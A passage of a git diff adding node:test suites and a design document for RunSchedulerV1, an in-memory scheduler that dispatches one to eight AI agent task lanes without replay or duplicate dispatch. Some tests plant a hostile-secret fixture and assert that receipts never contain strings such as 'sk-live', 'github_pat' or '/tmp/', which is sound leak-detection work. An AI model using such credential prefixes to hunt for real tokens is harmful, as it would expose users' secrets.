'replay_or_fallback_denied'); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('unknown keys, latest identities, and nearby assignment ids are denied', async () => { + const extra = createScopedStubs(); + const extraError = await errorOf(() => extra.scheduler.submitAssignments({ + ...twoWriterRequest(), + latest: true, + })); + assert.equal(extraError.code, 'unknown_key'); + + const latestSha = createScopedStubs(); + const shaError = await errorOf(() => latestSha.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: 'latest', + assignments: [writerAssignment()], + })); + assert.equal(shaError.code, 'invalid_format'); + + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const unknown = await errorOf(() => harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: ['lane-alph'], + })); + assert.equal(unknown.code, 'assignment_id_unknown'); + assert.equal(harness.cancelCalls.length, 0); +}); + +test('unknown runs, cursor identity drift, and injected inspect failures stay isolated', async () => { + const unknown = createScopedStubs(); + const resumeError = await errorOf(() => unknown.scheduler.resumeAssignments({ run_id: RUN_ID })); + assert.equal(resumeError.code, 'scheduler_run_unknown'); + const cancelError = await errorOf(() => unknown.scheduler.cancelAssignments({ + run_id: RUN_ID, assignment_ids: [ASSIGNMENT_A], + })); + assert.equal(cancelError.code, 'scheduler_run_unknown'); + + const harness = createScopedStubs({ failInspectFor: [ASSIGNMENT_A] }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const drifted = await errorOf(() => harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + cursors: [{ assignment_id: ASSIGNMENT_A, task_id: 'other-task', event_cursor: '0' }], + })); + assert.equal(drifted.code, 'cursor_identity_mismatch'); + + const inspected = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const failed = inspected.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = inspected.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(failed.unresolved.code, 'inspect_failed'); + assert.equal(live.status, 'running'); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('unconfirmed cancel records evidence and leaves other lanes running', async () => { + const harness = createScopedStubs({ failCancelFor: [ASSIGNMENT_A] }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A, ASSIGNMENT_B], + }); + const unconfirmed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const confirmed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(unconfirmed.cancel_confirmed, false); + assert.equal(unconfirmed.unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(confirmed.status, 'cancelled'); + assert.equal(confirmed.cancel_confirmed, true); + assert.equal(harness.cancelCalls.length, 2); + const serialized = JSON.stringify(receipt); + assert.doesNotMatch(serialized, /github_pat/u); +}); + +test('delegate failures stay content-free and do not leak stub secrets', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_A] }); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + const failed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + assert.equal(failed.unresolved.code, 'dispatch_failed'); + const serialized = JSON.stringify(receipt); + assert.doesNotMatch(serialized, /sk-live/u); + assert.doesNotMatch(serialized, /ATTACKER-SECRET/u); + assert.doesNotMatch(serialized, /\/tmp\//u); +}); + +test('factory rejects missing, extra, and non-function dependencies', () => { + const error = (() => { + try { + createRunScheduler({}); + assert.fail('expected failure'); + } catch (caught) { + assert.ok(caught instanceof RunContractV1Error); + return caught; + } + return null; + })(); + assert.equal(error.code, 'injected_dependency_invalid'); + + const extra = (() => { + try { + createRunScheduler({ + delegateTask() {}, + inspectTask() {}, + cancelTask() {}, + clock() { return 0; }, + supervisor: HOSTILE_SECRET, + }); + assert.fail('expected failure'); + } catch (caught) { + return caught; + } + return null; + })(); + assert.equal(extra.code, 'unknown_key'); + assertContentFree(extra); + + const { proxy, counts } = countingProxy({ + delegateTask() {}, inspectTask() {}, cancelTask() {}, clock() { return 0; }, + }); + const proxied = (() => { + try { + createRunScheduler(proxy); + assert.fail('expected failure'); + } catch (caught) { + return caught; + } + return null; + })(); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('invalid clocks, aliased graphs, and oversized collections fail closed', async () => { + const clock = createRunScheduler({ + delegateTask: async () => ({ task_id: TASK_A, cursor: '0', status: 'running' }), + inspectTask: async () => ({ task_id: TASK_A, status: 'running', cursor: '0' }), + cancelTask: async () => ({ task_id: TASK_A, cancelled: true }), + clock: () => 'soon', + }); + const clockError = await errorOf(() => clock.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments: [writerAssignment()], + })); + assert.equal(clockError.code, 'invalid_clock'); + + const harness = createScopedStubs(); + const assignment = writerAssignment(); + const aliased = { run_id: RUN_ID, base_sha: BASE_SHA, assignments: [assignment] }; + aliased.assignments.push(assignment); + const aliasedError = await errorOf(() => harness.scheduler.submitAssignments(aliased)); + assert.equal(aliasedError.code, 'aliased_reference_denied'); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('oversized attention is dropped and malformed attention is unresolved', async () => { + const oversized = createScopedStubs({ + attentionByTask: { + [TASK_A]: { + session_id: 'sess-a', + question_id: 'q-a', + prompt: 'p'.repeat(5000), + options: ['continue'], + }, + }, + }); + await oversized.scheduler.submitAssignments(twoWriterRequest()); + const bounded = await oversized.scheduler.resumeAssignments({ run_id: RUN_ID }); + const grok = bounded.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + assert.equal(grok.attention.prompt, null); + assert.equal(grok.attention.reply_capability, 'same_session'); + + const malformed = createScopedStubs({ + attentionByTask: { + [TASK_A]: { prompt: HOSTILE_SECRET }, + }, + }); + await malformed.scheduler.submitAssignments(twoWriterRequest()); + const invalid = await malformed.scheduler.resumeAssignments({ run_id: RUN_ID }); + const lane = invalid.lanes.find((entry) => entry.assignment_id === ASSIGNMENT_A); + assert.equal(lane.unresolved.code, 'attention_evidence_invalid'); + const serialized = JSON.stringify(invalid); + assert.doesNotMatch(serialized, /sk-live/u); +}); + +test('resume and cancel never accept a second run identity or replay flag', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const replay = await errorOf(() => harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + replay: true, + })); + assert.equal(replay.code, 'replay_or_fallback_denied'); + const cancelReplay = await errorOf(() => harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A], + fallback: true, + })); + assert.equal(cancelReplay.code, 'replay_or_fallback_denied'); + assert.equal(harness.delegateCalls.length, 2); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs b/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs new file mode 100644 index 0000000..181367d --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs @@ -0,0 +1,524 @@ +// P33 RunSchedulerV1 focused coverage: one-submission 1-8 fanout, exact +// identity, disjoint writers / read-only verifiers, no replay or duplicate +// dispatch, unaffected lanes continue, and bounded attention/cancel/cursor +// evidence over injected task stubs. + +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RUN_SCHEDULER_CHECKS, + RUN_SCHEDULER_DEPENDENCY_KEYS, + RUN_SCHEDULER_METHODS, + RUN_SCHEDULER_SCHEMA_ID, + RUN_SCHEDULER_SIDE_EFFECTS, + RUN_SCHEDULER_VERSION, + createRunScheduler, + describeRunSchedulerV1, +} from '../mcp/v3/run-scheduler.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + ASSIGNMENT_C, + BASE_SHA, + NOW, + RUN_ID, + TASK_A, + TASK_B, + TASK_C, + createScopedStubs, + eightLaneRequest, + mixedLaneRequest, + twoWriterRequest, + verifierAssignment, + writerAssignment, +} from './fixtures/r1-run-scheduler-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-scheduler.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNonclaims(receipt) { + assert.equal(receipt.wake, false); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.side_effects.duplicate_dispatch, false); + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.side_effects.workspace_created, false); + assert.equal(receipt.side_effects.branch_or_ref_created, false); + assert.equal(receipt.side_effects.candidate_composed, false); + assert.equal(receipt.side_effects.server_cutover, false); + assert.equal(receipt.side_effects.remote_mutated, false); + for (const check of RUN_SCHEDULER_CHECKS) { + assert.equal(receipt.checks[check], true, check); + } +} + +test('RunSchedulerV1 is the frozen v1 contract with exact factory exports', () => { + assert.equal(RUN_SCHEDULER_SCHEMA_ID, 'codex-co-engineer.run-scheduler.v1'); + assert.equal(RUN_SCHEDULER_VERSION, 1); + assert.deepEqual([...RUN_SCHEDULER_METHODS], [ + 'submitAssignments', 'resumeAssignments', 'cancelAssignments', + ]); + assert.deepEqual([...RUN_SCHEDULER_DEPENDENCY_KEYS], [ + 'delegateTask', 'inspectTask', 'cancelTask', 'clock', + ]); + assert.equal(MIN_ASSIGNMENTS, 1); + assert.equal(MAX_ASSIGNMENTS, 8); + const inventory = describeRunSchedulerV1(); + assert.equal(inventory.schema, RUN_SCHEDULER_SCHEMA_ID); + assert.equal(inventory.rule, 'one_submission_idempotent_1_to_8_fanout_no_replay'); + assert.equal(inventory.wake, false); + assert.equal(inventory.remote_mutated, false); + assert.deepEqual([...inventory.ownership.forbidden], [ + 'run_runtime', + 'artifact_bridge', + 'lifecycle', + 'supervisor', + 'server', + 'candidate_composition', + 'mailbox', + 'provider_driver', + 'task_store', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]); + assert.deepEqual([...inventory.side_effects], [...RUN_SCHEDULER_SIDE_EFFECTS]); + assertFrozenTree(inventory); + const first = describeRunSchedulerV1(); + const second = describeRunSchedulerV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); +}); + +test('the scheduler module does not import runtime, artifact, lifecycle, or server paths', () => { + const source = readFileSync(MODULE_PATH, 'utf8'); + assert.match(source, /export function createRunScheduler/u); + assert.equal(source.includes('run-runtime.mjs'), false); + assert.equal(source.includes('run-artifact-bridge.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('process-boundary.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('mailbox.mjs'), false); + assert.equal(source.includes('run-candidate'), false); + assert.equal(source.includes('candidate-composer'), false); +}); + +test('createRunScheduler returns exactly the three injected methods', () => { + const harness = createScopedStubs(); + assert.deepEqual(Object.keys(harness.scheduler), [...RUN_SCHEDULER_METHODS]); + assert.equal(typeof harness.scheduler.submitAssignments, 'function'); + assert.equal(typeof harness.scheduler.resumeAssignments, 'function'); + assert.equal(typeof harness.scheduler.cancelAssignments, 'function'); + assert.ok(Object.isFrozen(harness.scheduler)); +}); + +test('one submission dispatches an independent 1-8 fanout exactly once', async () => { + const harness = createScopedStubs(); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + assert.equal(receipt.schema, RUN_SCHEDULER_SCHEMA_ID); + assert.equal(receipt.status, 'dispatched'); + assert.equal(receipt.created, true); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.base_sha, BASE_SHA); + assert.equal(receipt.assignment_count, 2); + assert.equal(receipt.observed_at, NOW); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(harness.delegateCalls.length, 2); + assert.deepEqual(harness.delegateCalls.map((call) => call.assignment_id).sort(), [ + ASSIGNMENT_A, ASSIGNMENT_B, + ]); + for (const call of harness.delegateCalls) { + assert.equal(call.run_id, RUN_ID); + assert.equal(Object.hasOwn(call, 'prompt'), false); + assert.equal(call.fallback, undefined); + } + for (const lane of receipt.lanes) { + assert.equal(lane.dispatched, true); + assert.equal(lane.replayed, false); + assert.equal(lane.fallback, false); + assert.equal(lane.status, 'running'); + } + assertNonclaims(receipt); + assertFrozenTree(receipt); +}); + +test('exact resubmit is idempotent and never redispatches', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const first = await harness.scheduler.submitAssignments(request); + const second = await harness.scheduler.submitAssignments(request); + assert.equal(first.status, 'dispatched'); + assert.equal(second.status, 'idempotent'); + assert.equal(second.created, false); + assert.equal(second.side_effects.task_dispatched, false); + assert.equal(harness.delegateCalls.length, 2); + assert.deepEqual(second.lanes.map((lane) => lane.task_id), first.lanes.map((lane) => lane.task_id)); + assertNonclaims(second); +}); + +test('concurrent exact submits dispatch each lane once', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const [left, right] = await Promise.all([ + harness.scheduler.submitAssignments(request), + harness.scheduler.submitAssignments(request), + ]); + const statuses = [left.status, right.status].sort(); + assert.deepEqual(statuses, ['dispatched', 'idempotent']); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('a different body for the same run_id fails closed without a second dispatch', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const error = await errorOf(() => harness.scheduler.submitAssignments(mixedLaneRequest())); + assert.equal(error.code, 'scheduler_run_conflict'); + assert.equal(harness.delegateCalls.length, 2); +}); + +test('fanout 1 and 8 are accepted and 0 and 9 are denied before dispatch', async () => { + const one = createScopedStubs(); + const oneReceipt = await one.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment()], + }); + assert.equal(oneReceipt.assignment_count, 1); + assert.equal(one.delegateCalls.length, 1); + + const eight = createScopedStubs(); + const eightReceipt = await eight.scheduler.submitAssignments(eightLaneRequest()); + assert.equal(eightReceipt.assignment_count, 8); + assert.equal(eight.delegateCalls.length, 8); + + const empty = createScopedStubs(); + const emptyError = await errorOf(() => empty.scheduler.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments: [], + })); + assert.equal(emptyError.code, 'out_of_range'); + assert.equal(empty.delegateCalls.length, 0); + + const nine = createScopedStubs(); + const assignments = eightLaneRequest().assignments.concat(writerAssignment({ + assignmentId: 'lane-08', taskId: 'task-08', writeScope: ['src/area-8/**'], + })); + const nineError = await errorOf(() => nine.scheduler.submitAssignments({ + run_id: RUN_ID, base_sha: BASE_SHA, assignments, + })); + assert.equal(nineError.code, 'out_of_range'); + assert.equal(nine.delegateCalls.length, 0); +}); + +test('overlapping writer scopes fail closed; disjoint writers plus a read-only verifier pass', async () => { + const overlap = createScopedStubs(); + const overlapError = await errorOf(() => overlap.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment({ writeScope: ['src/shared/**'] }), + writerAssignment({ + assignmentId: ASSIGNMENT_B, taskId: TASK_B, writeScope: ['src/shared/util/**'], + }), + ], + })); + assert.equal(overlapError.code, 'overlapping_writer_scope'); + assert.equal(overlap.delegateCalls.length, 0); + + const mixed = createScopedStubs(); + const receipt = await mixed.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(receipt.assignment_count, 3); + const verifier = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_C); + assert.equal(verifier.access, 'read_only'); + assert.deepEqual([...verifier.write_scope], []); + assert.equal(mixed.delegateCalls.length, 3); +}); + +test('writer/read-only pairing is exact and verification scopes stay empty', async () => { + const role = createScopedStubs(); + const roleError = await errorOf(() => role.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...writerAssignment(), + role: 'verify', + }], + })); + assert.equal(roleError.code, 'role_access_mismatch'); + + const scopedVerifier = createScopedStubs(); + const scopeError = await errorOf(() => scopedVerifier.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...verifierAssignment(), + write_scope: ['src/alpha/**'], + }], + })); + assert.equal(scopeError.code, 'read_only_scope_denied'); + + const emptyWriter = createScopedStubs(); + const emptyError = await errorOf(() => emptyWriter.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ writeScope: [] })], + })); + assert.ok(emptyError.code === 'writer_scope_required' || emptyError.code === 'out_of_range'); + assert.equal(role.delegateCalls.length, 0); + assert.equal(scopedVerifier.delegateCalls.length, 0); + assert.equal(emptyWriter.delegateCalls.length, 0); +}); + +test('a failed lane does not replay and does not stop unaffected lanes', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_B] }); + const receipt = await harness.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(harness.delegateCalls.length, 3); + const failed = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const live = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(failed.dispatched, false); + assert.equal(failed.unresolved.code, 'dispatch_failed'); + assert.equal(failed.replayed, false); + for (const lane of live) { + assert.equal(lane.dispatched, true); + assert.equal(lane.status, 'running'); + } + + const again = await harness.scheduler.submitAssignments(mixedLaneRequest()); + assert.equal(again.status, 'idempotent'); + assert.equal(harness.delegateCalls.length, 3); +}); + +test('optional failed lanes do not block a complete candidate', async () => { + const harness = createScopedStubs({ failDelegateFor: [ASSIGNMENT_B] }); + const receipt = await harness.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + required: false, + }), + ], + }); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A).dispatched, true); +}); + +test('cancel names exact lanes and leaves unaffected lanes running', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(mixedLaneRequest()); + const receipt = await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_B], + }); + assert.equal(receipt.status, 'cancelled'); + assert.equal(receipt.side_effects.task_cancelled, true); + assert.equal(harness.cancelCalls.length, 1); + assert.equal(harness.cancelCalls[0].assignment_id, ASSIGNMENT_B); + assert.equal(harness.cancelCalls[0].task_id, TASK_B); + const cancelled = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const live = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cancel_confirmed, true); + for (const lane of live) { + assert.equal(lane.status, 'running'); + assert.equal(lane.cancel_confirmed, null); + } + assert.equal(receipt.wake, false); + assert.equal(receipt.complete_candidate_blocked, true); +}); + +test('resume projects cursor evidence and never redispatches', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + cursors: [ + { assignment_id: ASSIGNMENT_A, task_id: TASK_A, event_cursor: '1' }, + ], + }); + assert.equal(receipt.status, 'inspected'); + assert.equal(harness.delegateCalls.length, 2); + assert.equal(harness.inspectCalls.length, 2); + assert.equal(harness.inspectCalls.find((call) => call.assignment_id === ASSIGNMENT_A).cursor, '1'); + for (const lane of receipt.lanes) { + assert.match(lane.cursor, /^[0-9]+$/u); + assert.equal(lane.replayed, false); + assert.equal(lane.dispatched, true); + } + assertNonclaims(receipt); +}); + +test('resume of a cancelled lane records restart evidence and does not replay', async () => { + const harness = createScopedStubs(); + await harness.scheduler.submitAssignments(twoWriterRequest()); + await harness.scheduler.cancelAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A], + }); + const receipt = await harness.scheduler.resumeAssignments({ + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_A, ASSIGNMENT_B], + }); + const cancelled = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.unresolved.code, 'restart_denied_no_replay'); + assert.equal(live.status, 'running'); + assert.equal(harness.delegateCalls.length, 2); + assert.equal(harness.inspectCalls.some((call) => call.assignment_id === ASSIGNMENT_A), false); +}); + +test('unsupported DSH or Cloud attention cancels only the affected lane', async () => { + const harness = createScopedStubs({ + attentionByTask: { + [TASK_B]: { + session_id: 'sess-dsh', + question_id: 'q-dsh', + prompt: 'DSH cannot host a same-session reply', + options: null, + }, + }, + }); + await harness.scheduler.submitAssignments(mixedLaneRequest()); + const receipt = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const dsh = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + const others = receipt.lanes.filter((lane) => lane.assignment_id !== ASSIGNMENT_B); + assert.equal(dsh.unresolved.code, 'same_session_reply_unsupported'); + assert.equal(dsh.status, 'cancelled'); + assert.equal(dsh.cancel_confirmed, true); + assert.equal(harness.cancelCalls.length, 1); + assert.equal(harness.cancelCalls[0].assignment_id, ASSIGNMENT_B); + for (const lane of others) { + assert.equal(lane.status, 'running'); + assert.equal(lane.cancel_confirmed, null); + } + assert.equal(receipt.wake, false); + assert.equal(receipt.complete_candidate_blocked, true); +}); + +test('same-session Grok attention is bounded evidence and does not wake', async () => { + const harness = createScopedStubs({ + attentionByTask: { + [TASK_A]: { + session_id: 'sess-a', + question_id: 'q-a', + prompt: 'Choose the next writer step', + options: ['continue', 'stop'], + }, + }, + inspectStatusByTask: { [TASK_A]: 'needs_attention' }, + }); + await harness.scheduler.submitAssignments(twoWriterRequest()); + const receipt = await harness.scheduler.resumeAssignments({ run_id: RUN_ID }); + const grok = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const other = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(grok.status, 'needs_attention'); + assert.equal(grok.attention.reply_capability, 'same_session'); + assert.equal(grok.attention.prompt, 'Choose the next writer step'); + assert.equal(other.status, 'running'); + assert.equal(receipt.wake, false); + assert.equal(harness.cancelCalls.length, 0); +}); + +test('cursor-cloud lanes require an exact starting SHA; local lanes forbid one', async () => { + const local = createScopedStubs(); + const localError = await errorOf(() => local.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ startingRef: BASE_SHA })], + })); + assert.equal(localError.code, 'starting_ref_forbidden_local'); + + const missing = createScopedStubs(); + const missingError = await errorOf(() => missing.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ + provider: 'cursor-cloud', model: 'claude-sonnet-4-5', writeScope: ['src/cloud/**'], + })], + })); + assert.equal(missingError.code, 'cloud_starting_ref_required'); + + const cloud = createScopedStubs(); + const receipt = await cloud.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [writerAssignment({ + provider: 'cursor-cloud', + model: 'claude-sonnet-4-5', + writeScope: ['src/cloud/**'], + startingRef: BASE_SHA, + })], + }); + assert.equal(receipt.lanes[0].starting_ref, BASE_SHA); + assert.equal(receipt.lanes[0].provider, 'cursor-cloud'); +}); + +test('duplicate assignment or task identities fail closed', async () => { + const duplicateAssignment = createScopedStubs(); + const assignmentError = await errorOf(() => duplicateAssignment.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ taskId: TASK_B, writeScope: ['src/beta/**'] }), + ], + })); + assert.equal(assignmentError.code, 'duplicate_assignment_id'); + + const duplicateTask = createScopedStubs(); + const taskError = await errorOf(() => duplicateTask.scheduler.submitAssignments({ + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [ + writerAssignment(), + writerAssignment({ assignmentId: ASSIGNMENT_B, writeScope: ['src/beta/**'] }), + ], + })); + assert.equal(taskError.code, 'duplicate_task_id'); + assert.equal(duplicateAssignment.delegateCalls.length, 0); + assert.equal(duplicateTask.delegateCalls.length, 0); +}); + +test('injected identity mismatch is per-lane and is never retried', async () => { + const harness = createScopedStubs({ mismatchDelegateFor: [ASSIGNMENT_A] }); + const receipt = await harness.scheduler.submitAssignments(twoWriterRequest()); + const mismatched = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_A); + const live = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_B); + assert.equal(mismatched.unresolved.code, 'identity_mismatch'); + assert.equal(mismatched.dispatched, false); + assert.equal(live.dispatched, true); + const again = await harness.scheduler.submitAssignments(twoWriterRequest()); + assert.equal(again.status, 'idempotent'); + assert.equal(harness.delegateCalls.length, 2); +}); From d6f5327e2a8574ac13a58640c02e62238b333e9b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:32:34 +0000 Subject: [PATCH 122/151] docs(run-scheduler): specify the injected scheduler contract Document the P33 RunSchedulerV1 factory, one-submission 1-8 fanout, exact identity, disjoint writer and read-only verifier rules, no replay/fallback/duplicate dispatch, and bounded attention, cancel, restart, and cursor evidence. Record the owned-path ceiling and non-goals, including denied remote mutation. --- docs/run-scheduler.md | 131 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 docs/run-scheduler.md diff --git a/docs/run-scheduler.md b/docs/run-scheduler.md new file mode 100644 index 0000000..f194463 --- /dev/null +++ b/docs/run-scheduler.md @@ -0,0 +1,131 @@ +# Run scheduler (P33) + +P33 `RunSchedulerV1` is the in-memory one-submission assignment fanout +boundary. It coordinates 1–8 independent lanes against one exact run/base +identity through injected task functions. It does not own durable storage, +artifacts, lifecycle proof, supervisor/server cutover, or candidate +composition. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs` +- `plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs` +- this document + +## Factory + +```js +createRunScheduler({ delegateTask, inspectTask, cancelTask, clock }) + -> { submitAssignments, resumeAssignments, cancelAssignments } +``` + +All four dependencies are required functions. The scheduler never imports +`run-runtime.mjs`, `run-artifact-bridge.mjs`, `acp-worker.mjs`, +`process-boundary.mjs`, `supervisor.mjs`, `server.mjs`, `task-store.mjs`, +mailbox, provider drivers, or candidate composers. Later run-runtime +composition injects these seams; tests inject scoped stubs. + +`clock()` must return a UTC ISO-8601 timestamp or a safe epoch millisecond +count. Invalid clocks fail closed with a content-free `invalid_clock`. + +## One-submission 1–8 fanout + +`submitAssignments({ run_id, base_sha, assignments })` accepts 1–8 +independent assignments that share one exact `run_id` and one exact 40-hex +`base_sha`. + +Each assignment carries exact `assignment_id`, `task_id`, `role`, `access`, +`provider`, `model`, `write_scope`, and `required`. Cursor Cloud lanes also +pin `starting_ref`; local lanes must not. + +The first exact body for a `run_id` is the only dispatch. Each lane is +handed to `delegateTask` at most once, concurrently, with an identity-only +plan (no prompt, argv, credentials, or workspace). Exact resubmit returns +the existing frozen receipt as `idempotent` and does not call `delegateTask` +again. A different body for the same `run_id` fails closed as +`scheduler_run_conflict` without a second dispatch. + +A lane whose injected delegate fails or returns a mismatched `task_id` +becomes unresolved. Unaffected lanes continue. Required unresolved or +failed lanes set `complete_candidate_blocked`; optional/advisory lanes do +not. + +## Disjoint writers and read-only verifiers + +`implement` requires `access: "writer"` and a non-empty `write_scope`. +`review` and `verify` require `access: "read_only"` and an empty +`write_scope`. Overlapping writer scopes fail closed before any +`delegateTask` call. Read-only lanes do not participate in writer-scope +intersection. + +## No fallback, replay, or duplicate dispatch + +Replay, retry, fallback, dependency-edge, direct-mode, merge/push/create-PR, +executable, and credential keys are denied at any depth with the existing +precise codes. After a prompt-capable dispatch plan is handed to +`delegateTask`, that lane is never redispatched, never switched onto +another transport or model, and never retried from resume. + +`resumeAssignments` inspects exact stored identities through `inspectTask`. +Cancelled lanes record `restart_denied_no_replay` and stay cancelled. +Cursor rows must bind the exact `assignment_id` and `task_id`. + +## Cancellation, attention, and cursor evidence + +`cancelAssignments({ run_id, assignment_ids })` requires exact known +assignment ids. Only those lanes are cancelled. Unaffected lanes continue. +An unconfirmed injected cancel records `safe_cancel_unconfirmed` and still +cancels remaining named lanes. + +Resume projects bounded cursor and attention evidence. Routine progress +never wakes (`wake: false`). Grok and Cursor Local may carry +`same_session` attention. DSH and Cursor Cloud attention is +`unsupported`: the affected lane is safely cancelled and unresolved; +other lanes continue. Attention prompts are at most 4096 UTF-8 bytes; +options are at most eight. + +Receipts are detached and deeply frozen. They never echo credentials, +paths, raw stub errors, or provider transcripts. Remote mutation stays +denied. + +## API + +- `createRunScheduler({ delegateTask, inspectTask, cancelTask, clock })` +- `submitAssignments(request)` +- `resumeAssignments(request)` +- `cancelAssignments(request)` +- `describeRunSchedulerV1()` — deterministic frozen inventory +- `RUN_SCHEDULER_SCHEMA_ID`, 